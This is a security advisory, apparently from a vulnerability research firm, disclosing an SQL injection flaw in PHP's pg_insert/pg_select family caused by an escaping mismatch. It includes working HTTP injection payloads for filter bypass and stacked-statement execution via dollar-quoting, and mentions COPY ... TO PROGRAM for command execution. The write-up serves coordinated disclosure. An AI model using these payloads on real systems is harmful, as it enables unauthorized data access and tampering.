← Research ledger
CriticalCVE-2026-17543CVSS 9.8Fixed upstream· 7 min read

One backslash to rule the query: E-string desync in PHP's PostgreSQL layer

How a twenty-year-old quoting helper in ext/pgsql turns an ordinary backslash into full SQL injection on default configuration — still exploitable after the CVE-2025-1735 fix. With raw HTTP exploitation and an honest look at reach.

By ExPatch Vulnerability Research·Coordinated disclosure with the PHP project
Scope

All testing was performed against our own lab builds (PHP 8.4.21, PostgreSQL 16, standard_conforming_strings = on — the PostgreSQL default). The issue was reported privately to the PHP security team and is published here under coordinated disclosure as CVE-2026-17543.

Summary

The conversion helper behind pg_insert(), pg_update(), pg_select() and pg_delete() escapes attacker-controlled strings for one PostgreSQL syntax and then quotes them in another. A single backslash is enough to desynchronize the two and walk out of the string literal into live SQL. We confirmed filter/authorization bypass and — despite the escaping layer doubling the attacker's quotes — arbitrary stacked-statement execution via dollar-quoting. Everything below happens on default flags and a default PostgreSQL connection.

The API nobody audits

The pg_* builder family is a documented, core API: hand it a table name and an associative array, and PHP builds the query for you. Most security review focuses on pg_query() concatenation mistakes; the builders tend to get a free pass because "they escape for you." They do escape. The problem is which language they escape into.

Two PostgreSQL string literal syntaxes matter here:

  • Standard literals '...' — with standard_conforming_strings = on (default since PostgreSQL 9.1, year 2011), a backslash is an ordinary character. Only single quotes are special, escaped by doubling.
  • Escape-string literals E'...' — backslash is an escape character: \' is a literal quote, not a terminator.

Escaping a value for the first syntax and then framing it in the second is a classic parser differential — and it is exactly what the default conversion path does.

Root cause

In ext/pgsql/pgsql.c, php_pgsql_convert() handles string-typed values:

/* php_pgsql_convert(), string branch (master / 8.6-dev) */
zend_string *str;
str = zend_string_alloc(Z_STRLEN_P(val) * 2, 0);
/* better to use PGSQLescapeLiteral since PGescapeStringConn does not handle special \ */
ZSTR_LEN(str) = PQescapeStringConn(pg_link, ZSTR_VAL(str),
        Z_STRVAL_P(val), Z_STRLEN_P(val), &escape_err);  // escapes for a STANDARD literal
if (escape_err) {
    err = 1;   /* ← the ONLY thing the CVE-2025-1735 fix added */
} else {
    ZVAL_STR(&new_val, php_pgsql_add_quotes(str));  /* ← wraps it in E'...' — the desync */
}
/* php_pgsql_add_quotes() — always an ESCAPE-string literal */
static zend_string *php_pgsql_add_quotes(zend_string *src)
{
    return zend_string_concat3("E'", strlen("E'"),
        ZSTR_VAL(src), ZSTR_LEN(src), "'", strlen("'"));
}

Walk a value of \' through it:

  • PQescapeStringConn() (with standard_conforming_strings = on) doubles the quote, leaves the backslash alone: \'' — correct for a standard literal.
  • php_pgsql_add_quotes() frames it as E'\''.
  • PostgreSQL parses an E-string: \' is an escaped quote (string stays open), and the next ' closes the literal. Everything after it executes as SQL. Breakout.

The in-tree comment — "better to use PGSQLescapeLiteral since PGescapeStringConn does not handle special \" — acknowledges the defect in the source itself. The asymmetry is telling: the explicit PGSQL_DML_ESCAPE flag routes the same escaped body into a standard '...' literal, which is consistent and safe:

// ext/pgsql/pgsql.c — the PGSQL_DML_ESCAPE path (≈ 5671-5683)
$new_len = PQescapeStringConn(pg_link, tmp, Z_STRVAL_P(val),
                              Z_STRLEN_P(val), &error);
// ...error handling...
smart_str_appendc(&querystr, '\'');                    // opens a
smart_str_appendl(&querystr, tmp, new_len);          // STANDARD
smart_str_appendc(&querystr, '\'');                    // literal — consistent, SAFE

Only the default path forces the mismatched E'...'. Historically the E'...' wrap was correct in the pre-9.1 era when PQescapeStringConn() itself backslash-escaped; the helper was never updated when PostgreSQL changed defaults fifteen years ago.

An incomplete fix

CVE-2025-1735 (GHSA-hrwm-9436-5mv3, fixed in PHP 8.1.33 / 8.2.29 / 8.3.23 / 8.4.10) added error checking to the escape call — the if (escape_err) branch above. It did not touch php_pgsql_add_quotes() and did not switch to PQescapeLiteral(). The escaping-mode mismatch survived the patch; we verified exploitation end-to-end on PHP 8.4.21, i.e. eleven releases after the fix. CVE-2026-17543 is the incomplete-fix follow-up.

Exploitation over HTTP

Builder functions sit directly behind HTTP parameters in the applications that use them. Consider a routine user-search endpoint, a pattern you will find in a decade of legacy PHP:

// GET /api/users.php?name=...
$rows = pg_select($conn, 'users', ['name' => $_GET['name']]);
echo json_encode($rows);

A filter/authorization bypass is one request — note the backslash before the quote:

GET /api/users.php?name=zzz%5C%27%20OR%201%3D1%20-- HTTP/1.1
Host: target.example
Accept: application/json

What PHP assembles, and what PostgreSQL actually parses:

-- assembled by php_pgsql_convert():
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
-- parsed: E'zzz\'  → literal "zzz'" ... then  '  closes the string
-- → OR 1=1 -- runs as SQL: the filter is gone
HTTP/1.1 200 OK
Content-Type: application/json

[{"id":1,"name":"admin","role":"superuser"},
 {"id":2,"name":"auditor","role":"readonly"},
 ... every row in the table ...]

The same breakout lands in the WHERE/SET clauses built by pg_update() and pg_delete(), and in values passed to pg_insert().

Getting past the quote-doubling: stacked statements

The escaping layer is not entirely decorative: it doubles the attacker's single quotes, so a naive stacked payload like x\'); INSERT INTO log VALUES ('PWNED'); -- dies on a syntax error — its 'PWNED' comes out doubled. A junior report stops there. The doubling, however, only applies to '. PostgreSQL gives us string constants that need none: dollar-quoting ($$...$$), or chr()/concat() arithmetic. Nothing gets doubled, nothing is left to stop the second statement:

POST /api/users.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

name=x%5C%27%29%3B+INSERT+INTO+audit_trail+VALUES+(%24%24STACKED_VIA_DOLLAR_QUOTE%24%24)%3B+--
-- decoded value:  x\'); INSERT INTO audit_trail VALUES ($$STACKED_VIA_DOLLAR_QUOTE$$); --
-- assembled:
INSERT INTO "users" ("name") VALUES (E'x\''); INSERT INTO audit_trail VALUES ($$STACKED_VIA_DOLLAR_QUOTE$$); --')

-- verbatim from the lab run (PHP 8.4.21 + PostgreSQL 16, default config):
pg_insert returned: PgSql\Result
last error: ''
audit_trail rows: 1
  -> STACKED_VIA_DOLLAR_QUOTE

An attacker-supplied second statement executed under a default pg_insert() call. From here it is arbitrary SQL — read, write, DDL. On a superuser connection (still common for legacy deployments), COPY ... TO PROGRAM converts that into operating-system command execution.

Why it is critical

  • Default everything. No exotic flags, no misconfiguration: the vulnerable path is the documented default of the functions, on the database's default string mode.
  • Survived a security patch. It ships in every PHP release including those built to fix CVE-2025-1735 — anyone who patched that CVE and moved on is still exposed.
  • Full SQL primitive. Read (mass-row disclosure, shown above), write (stacked DML/DDL, shown above), and on superuser connections, command execution via COPY ... TO PROGRAM.
  • A core, documented API with a prior CVE. This is not third-party abandonware; it is the database layer of the language itself.
Honest scoping

We do not inflate reach. The pg_insert()/pg_select() builder family is uncommon in modern code — most PHP+PostgreSQL applications use PDO, pg_query_params(), or an ORM, and we found no popular maintained framework that relies on these builders. Where they do exist, they are typically in the oldest, least-reviewed parts of a codebase — precisely the code that faces untrusted input and never sees an audit. We assess technical severity as Critical; the PHP project as CNA scored it CVSS 9.8.

Disclosure timeline

  • 2026-05-19 — issue confirmed in our lab; breakout and stacked execution reproduced on PHP 8.4.21 / PostgreSQL 16.
  • 2026-06-02 — reported to the PHP project through a private GitHub Security Advisory with full PoCs.
  • 2026-06 — identifier CVE-2026-17543 assigned.
  • 2026-08 — fix shipped by the PHP project; public write-up (this page) followed the fixed release.

References

  • CVE-2025-1735 / GHSA-hrwm-9436-5mv3 — the incomplete fix this report follows up on.
  • PostgreSQL documentation: standard_conforming_strings, escape string syntax, dollar-quoted string constants.
  • php/php-src — ext/pgsql/pgsql.c: php_pgsql_convert(), php_pgsql_add_quotes().